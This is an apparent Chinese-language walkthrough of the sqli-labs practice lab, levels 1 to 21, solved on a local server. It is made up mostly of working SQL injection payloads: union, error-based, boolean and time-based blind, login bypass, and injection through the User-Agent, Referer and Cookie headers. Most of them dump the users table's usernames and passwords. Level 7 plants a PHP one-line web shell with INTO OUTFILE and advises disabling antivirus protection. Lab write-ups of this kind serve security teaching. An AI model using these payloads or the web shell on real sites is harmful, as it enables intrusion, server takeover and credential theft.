Less-1
进入第一关,提示我们输入一个ID作为参数和数值
但是没有输入ID的文本框,此时只有网址栏可进行输入,我们尝试将?id=1输如网址栏,页面回显正常
然后判断注入点是否在网址栏,我们尝试用单引号闭合,输入?id=1',显示MySQL报错,说明存在注入点(闭合方式不只有单引号,只是首先用单引号做尝试)
在?id=1’后加个注释,输入?id=1’--+后,网页回显正常,说明单引号起到了闭合的作用,这是一个字符型注入
接下来判断他当前的字段数,使用order by子句进行排序,输入?id=1' order by 1--+,依次输入到order by 4时出现错误,说明存在3个字段
然后判断显存位,使用联合查询union select 1,2,3(判断存在几个字段就写几个,1、2、3这三个数字没有任何含义只是起到标记作用),输入?id=0' union select 1,2,3 --+(若id=1则显示前面的查询结果,不显示联合语句的查询结果,所以需将1改为不产生结果的数字)
输入:?id=0' union select 1,2,3 --+
接下来我们选择2这个显示位使用database()函数,回显数据库名,数据库名显示为:security
输入:?id=0' union select 1,database ,3 --+
要想知道数据库里有哪些表,需在information_schema.tables里结合group_concat()函数进行查询,显示该数据库包含4个表
输入:?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
在知道表名之后,我们可以根据表名判断表中的内容,首先获取里列名
输入:?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
得到列名之后,我们就可以进一步获取表中的信息
输入:?id=0' union select 1,group_concat(concat_ws(':',username,password)),3 from security.users --+
Less-2
进入第二关,与第一关一样,提示我们输入一个ID作为参数和数值
首先的输入?id=1进行尝试,回显正常
然后使用单引号闭合,输入?id=1’, 显示MySQL报错,说明存在注入点
接着加注释,输入?id=1’--+,仍然显示MySQL报错,说明单引号没有起到闭合作用,所以这是一个数字型注入(与less1相同,不用单引号闭合)
判断字段数:?id=1 order by 3 --+
判断显示位:?id=0 union select 1,2,3 --+
获取数据库名:?id=0 union select 1,database(),3 --+
获取表名:?id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
获取列名:?id=0 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
获取数据:?id=0 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users --+
Less-3
进入第三关,与前两关一样,提示我们输入一个ID作为参数和数值
首先的输入?id=1进行尝试,回显正常
然后使用单引号闭合,输入?id=1’, 显示MySQL报错,说明存在注入点
根据报错信息可以看出,需要用到括号闭合,输入?id=1') --+(除闭合方式,其余与前两题相同),回显正常
判断字段数:?id=1’) order by 3 --+
判断显示位:?id=0’) union select 1,2,3 --+
获取数据库名:?id=0’) union select 1,database(),3 --+
获取表名:?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
获取列名:?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
获取数据:?id=0') union select 1,group_concat(concat_ws(':',username,password)),3 from security.users --+
Less-4
进入第四关,与前三关一样,提示我们输入一个ID作为参数和数值
首先输入?id=1,回显正常
然后使用单引号闭合,输入?id=1’,回显正常
再尝试使用双引号闭合,输入,显示报错,存在注入点
根据报错信息可以看出,需要用到括号闭合,输入?id=1”) --+(除闭合方式,其余与前两题相同),回显正常
判断字段数:?id=1”) order by 3 --+
判断显示位:?id=0”) union select 1,2,3 --+
获取数据库名:?id=0”) union select 1,database(),3 --+
获取表名:?id=0”) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
获取列名:?id=0”) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
获取数据:?id=0”) union select 1,group_concat(concat_ws(':',username,password)),3 from security.users --+
Less-5
进入第五关,提示我们输入一个ID作为参数和数值
尝试输入?id=1,回显“You are in……”,无有用信息
再尝试输入?id=0,页面不显示信息,说明这个网页的传参是用来判断id是否存在,因此可用布尔注入
判断是否存在注入点,使用单引号进行闭合,输入?id=0’,显示报错,说明存在注入点且用单引号闭合(后面记得加注释--+)
判断字段数:?id=1’ order by 3 --+(这里id=1,=0不显示任何信息),所以该数据库包含3个字段,因为页面只回显“You are in…”和无回显,所以无法判断显示位
获取数据库名:?id=0' union select extractvalue(1,concat(';',database())) --+
获取表名:
?id=0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) --+
获取列名:
?id=0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),'~')) --+
获取数据:
?id=0' and extractvalue(1,concat('~',(select group_concat(concat_ws(':',username,password)) from security.users),'~')) --+(位数限制,无法全部显示数据,可以username,password分开获取)
Less-6
进入第六关,与第五关区在于闭合方式为双引号,其余相同
Less-7
进入第七关,这一关为基于文件写入注入,需要我们写一个木马投放进去
首先我们要对小皮面板的mysql.ini进行配置,
在打开的my.ini文件的这个位置加入一句话:secure_file_priv="/"
重启小皮后打开数据库工具,执行show variables like '%secure%';语句,查看secure_file_priv参数(该参数对文件的读写进行限制,当参数是NULL时无法进行文件导出操作)
然后我们写一个木马程序,放进less-7的文件夹内,例如:"D:\phpstudy_pro\WWW\sqli-labs\Less-7\text.php"(记得关闭电脑的实时保护,不然木马文件会被自动处理)
我们需要先知道网页所在的文件路径,从该题中的无法得到的,我们去 Less-1 题,在那获取文件路径。这种操作也可以应用在实践中,可以同时利用同一 Web 中的多个注入点
http://127.0.0.1/sqli-labs/Less-1/?id=9999' UNION SELECT 1,@@basedir,@@datadir --+
使用 union 联合查询来注入参数,使用 into outfile 在网页目录下入一句话木马(此处存在转义问题,所有的“\”都要双写)
http://127.0.0.1/sqli-labs/Less-7/?id=1')) UNION SELECT 1,2,'<?php @eval($_POST["config"]);?>' into outfile "D:\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\text.php" --+
打开蚁剑,添加数据,URL地址为text.php文件的路径,密码看木马文件中的内容
与蚁剑连接成功,打开result.txt文件,查看结果
Less-8
第一步查看注入点进行尝试:?id=1 ',发现单引号可以进行闭合,存在注入点
判断字段数:?id=1’ order by 3 --+
尝试显示报错位:?id=1' union select 1,2,3 --+,仍显示You are in…
进行布尔盲注,首先猜测数据库长度:?id=1 'and(length(database()))=8 --+,数据库名称长度为8位
利用ASCII编码判断数据库名:?id=1 'and (ascii(substr(database(),1,1)))=115 --+,等于115回显正常,查看ascii编码发现是字母s,不断进行猜数字判断出数据库名为security
继续尝试表名:?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)))=101 --+
字段名:?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)))=105 --+
Less-9
进入第九关,时间盲注
进行了一系列测试后,都没有明显回显,此时选择时间盲注,当数据库的长度为8时,延迟10秒:?id=1' and if(length(database())=8,sleep(10),1)--+
数据库名为security:?id=1' and if(left((select database()),1)='s',sleep(10),1)--+
判断数据库表名:
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1) --+
Less-10
进入第十关,与第九关相同,闭合方式换成双引号
Less-11
进入第十一关,该关从GET传参换成了POST传参,先尝试使用万能密码
a’or 1=1#
判断字段数:' or 1=1 order by 2#(回显正常)' or 1=1 order by 3#(报错)
判断显错位:' union select 1,2#
判断数据库名:' union select database(),2#
判断所有表名:
' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
判断所有列名:
'union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
判断数据:
'union select 1,group_concat(concat_ws(';',username,password)) from security.users#
Less-12
进入第十二关,与第十一关一样,闭合方式换为双引号加括号”)
判断数据:
”) union select 1,group_concat(concat_ws(';',username,password)) from security.users#
Less-13
进入第十三关,经过测试闭合方式为’),
判断数据库版本:') or updatexml(1,concat("!", version()),2)#
判断数据库名:
') or updatexml(1,concat('~',(select database())),1);#
判断表名:
') or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema='security' )),2)#
判断列名:') or updatexml(1,concat("!",(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name ='users')),2)#
判断数据:
') or updatexml(1,concat("!",(select group_concat(concat_ws(':',username,password))from security.users)),2)#
Less-14
进入第十四关,跟第十三关一样,闭合方式换成双引号”
判断数据:
” or updatexml(1,concat("!",(select group_concat(concat_ws(':',username,password))from security.users)),2)#
Less-15
进入第十五关,使用盲注的方式,看标志来判断报没报错
判断数据库名长度:' or (length(database())=8)--+
判断数据库名:' or (ascii(substr(database(),1,1)))=115 --+
Less-16
进入第十六关,与十五关一样,闭合方式为”)
判断数据库名长度:”) or (length(database())=8)--+
判断数据库名:”) or (ascii(substr(database(),1,1)))=115 --+
Less-17
进入第十七关,本关卡密码重置有两个 SQL 语句,上面一个进行了强效的过滤,没有注入点,输入正确的语句也会显示报错,需要发现第二个注入点
判断注入点:存在
判断数据库名:'or updatexml(1,concat("!",database()),2)#
判断表名:
' or updatexml(1,concat("!",(select group_concat(table_name)from information_schema.tables where table_schema='security' )),2)#
判断列名:' or updatexml(1,concat("!",(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name ='users')),2)#
判断数据:' or updatexml(1,concat('!',(select group_concat(':',username,password) from users)),2)#
无法直接从users表获取是数据,可以先用一个暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据
' or (updatexml(1,concat('!',(select concat_ws(':',username,password) from (select username,password from users)text limit 0,1)),1))#
Less-18
进入第十八关,发现显示了我们的IP地址,只要是记录信息,很大概率是通过数据据库进行记录,那在记录的地方就会有可能存在注入点,这个地方就是请求头
首先我们输入正确的Username和Password,页面回显了IP地址和User Agent(用户代理 User Agent 是一个 HTTP 头,使得服务器能够识别客户使用的操作系统及版本、CPU类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等)
接下来输入错误的Username和Password,显示登陆失败,并无其他回显,所以我们猜测:注入点可能在User Agent
输入正确的Username和Password进行抓包,我们在截取的数据包中的User-Agent上输入单引号:User-Agent: '
现在我们知道了User-Agent存在字符型注入漏洞,但不知道第二个SQL语句是什么,所以要测试闭合方式,当测试到两个单引号时,闭合成功,因此由两侧的单引号进行闭合:User-Agent: ''
判断数据库名:User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '
判断表名:User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '
判断列名:User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '
获取信息:User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
Less-19
进入第十九关,与是十八关只是注入点不一样,注入点为Referer
Less-20
进入第二十关,与十九关一样,注入点是:Cookie
Less-21
进入第二十一关,发现与第二十关一样,但抓包后发现cookie的地方被base64编码了
我们只需要在网页上找个base64的在线编码器,其余与第二十关一样